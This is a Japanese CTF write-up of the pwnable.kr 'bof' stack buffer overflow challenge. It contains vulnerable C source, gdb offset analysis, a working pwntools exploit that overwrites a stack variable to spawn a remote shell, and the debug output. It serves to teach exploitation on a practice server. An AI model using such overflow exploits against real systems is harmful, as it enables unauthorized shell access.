Post

Pwnable.kr 「bof (Toddler's Bottle)」Writeup

基本的な Stack BufferOverflow

Pwnable.kr 「bof (Toddler's Bottle)」Writeup

pwnable_kr-bof

Summary

本問題は,典型的なスタックベースのBoF問題です.

  • Category: Pwn
  • Description: Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?
  • Tools & TechStack:
    • C
    • gdb
  • Release: N/A

階層構造

1
2
3
4
5
6
7
8
9
.
├── bof
├── bof.c
├── Dockerfile
├── flag
├── readme
└── run.sh

1 directory, 6 files

バイナリ保護機構

1
2
3
4
5
6
7
8
9
10
$ file bof
bof: ELF 32-bit LSB pie executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1cabd158f67491e9edb3df0219ac3a4ef165dc76, for GNU/Linux 3.2.0, not stripped

$ checksec --file=bof
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

ソースコードの解析

if文内に到達するために,main() から呼び出される func() 関数の key 引数 0xdeadbeef を BoFを用いて 0xcafebabe に上書きすることができれば,シェルが取得できそうです.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		setregid(getegid(), getegid());
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

典型的な Buffer Overflow が可能な実装になっていますが,Canary Token を含むバイナリの保護機構が有効になっています.

BoFが可能であるかを検証するためにスタックフレームを確認します.

overflowme[] から key までのオフセットを測る

func+51 (overflowme) の lea eax,[ebp-0x2c] より,バッファの先頭アドレスが ebp-0x2c であり,同様に,cmp DWORD PTR [ebp+0x8], 0xcafebabe より,key 変数のアドレスが ebp+0x8 であることが分かりました.

NixOS は FHS 非準拠で /lib/ld-linux.so.2 が存在しないため,動的リンクされた配布バイナリはそのままでは実行・デバッグできません.そのため steam-run で FHS 環境を被せて解決しました.

1
2
3
4
5
6
7
8
9
10
$ NIXPKGS_ALLOW_UNFREE=1 nix-shell -p steam-run --run 'steam-run gdb ./bof'
(gdb) disas func
Dump of assembler code for function func:
#...
   0x00001230 <+51>:    lea    eax,[ebp-0x2c]
   0x00001233 <+54>:    push   eax
   0x00001234 <+55>:    call   0x1060 <gets@plt>
#...
   0x0000123c <+63>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
#...

レジスタを読むため gets() が呼ばれる直前にbpを張り,実行してから計算すると,overflowme[] から key までのオフセットが 52byte であることが分かりました.

1
2
3
4
5
6
7
(gdb) break *func+54
Breakpoint 1 at 0x1233

(gdb) r

(gdb) p ($ebp+0x8) - ($ebp-0x2c)
$1 = 52

Exploit を書く

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = 'debug'

p = remote("pwnable.kr", 10003)

# 52byte 目まで適当に埋める
payload = b'A'*52 + p32(0xcafebabe)

p.sendlineafter(b"overflow me : ", payload)
p.sendline(b'ls; cat flag')

print(p.recvall(timeout=3))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python3 exploit.py
[+] Opening connection to pwnable.kr on port 10003: Done
[DEBUG] Received 0xe bytes:
    b'overflow me : '
[DEBUG] Sent 0x39 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  41 41 41 41  be ba fe ca  0a                        │AAAA│····│·│
    00000039
[DEBUG] Sent 0xd bytes:
    b'ls; cat flag\n'
[+] Receiving all data: Done (99B)
[DEBUG] Received 0x38 bytes:
    b"/bin/sh: 0: can't access tty; job control turned off\r\n"
    b'$ '
[DEBUG] Received 0xb bytes:
    b'bof  flag\r\n'
[DEBUG] Received 0x20 bytes:
    b'<REDACTED>\r\n'
    b'$ '
[*] Closed connection to pwnable.kr port 10003
b"/bin/sh: 0: can't access tty; job control turned off\r\n$ bof  flag\r\n<REDACTED>\r\n$ "

Post-Mortem & Dead ends

p.interactive() で出力が返らない

p.interactive() でシェルを操作しようとしましたが,プロンプト $ は返るのにコマンド出力 (cat flag 等) が表示されない現象に遭遇しました. そこで Claude Opus 4.8 を用いて原因を探りました.

原因: リモート側 stdout のフルバッファリング glibc は出力先が tty か否かでバッファ方式を切り替え,ソケット/パイプ相手ではフルバッファリング(4KB 蓄積 or プロセス終了まで flush されない) になります. can't access tty; job control turned off はこのソケット接続 (tty 不在) を示しています.process() は既定で PTY を割り当ててこのバッファリングを無効化するが,remote() には PTY が無いため影響をそのまま受けます.

  • recvall(timeout=3): コマンドを先送りしてから一定時間ソケットを drain するため,子プロセス終了時の flush をまとめて回収でき,出力が取れる.
  • interactive(): 届いた瞬間に流すライブ表示のため,flush 境界に達しない短い出力が表示されないように見える (プロンプトはシェルが入力待ち前に flush するので届く).

対処: バッファ依存の shell ではフラグ取得目的なら send/recv (sendline -> recvall) が確実.対話が必要なら shell 内で stdbuf -o0 cat flag や script -q /dev/null を噛ませて行バッファへ戻す.

References

各保護機構があるのに BoF が可能な理由

  • NX: シェルコードを注入せず既存の system を呼ぶだけ
  • PIE: アドレスを一切使わず key の値を書き換えるだけ
  • RELRO: GOT は触らない

Canary の検証は関数エピローグ(func+136~)にのみ挿入されるため,エピローグに到達する前に system("/bin/sh") が発火すれば canary が壊れていても検知されません.

key は ebp+0x8,system 呼び出しは func+107 であり,これはいずれも func+136~... より 命令順で前 にあるため,Canaryで検知される前に key 変数を上書きすることが可能な構成になっています.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ disas func
#...
   0x0000123c <+63>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x00001243 <+70>:    jne    0x1272 <func+117>
   0x00001245 <+72>:    call   0x1080 <getegid@plt>
   0x0000124a <+77>:    mov    esi,eax
   0x0000124c <+79>:    call   0x1080 <getegid@plt>
   0x00001251 <+84>:    sub    esp,0x8
   0x00001254 <+87>:    push   esi
   0x00001255 <+88>:    push   eax
   0x00001256 <+89>:    call   0x10b0 <setregid@plt>
   0x0000125b <+94>:    add    esp,0x10
   0x0000125e <+97>:    sub    esp,0xc
   0x00001261 <+100>:   lea    eax,[ebx-0x1fe9]
   0x00001267 <+106>:   push   eax
   0x00001268 <+107>:   call   0x10a0 <system@plt>
#...
   0x00001285 <+136>:   mov    eax,DWORD PTR [ebp-0xc]
   0x00001288 <+139>:   sub    eax,DWORD PTR gs:0x14
   0x0000128f <+146>:   je     0x1296 <func+153>
   0x00001291 <+148>:   call   0x12e0 <__stack_chk_fail_local>
This post is licensed under CC BY 4.0 by the author.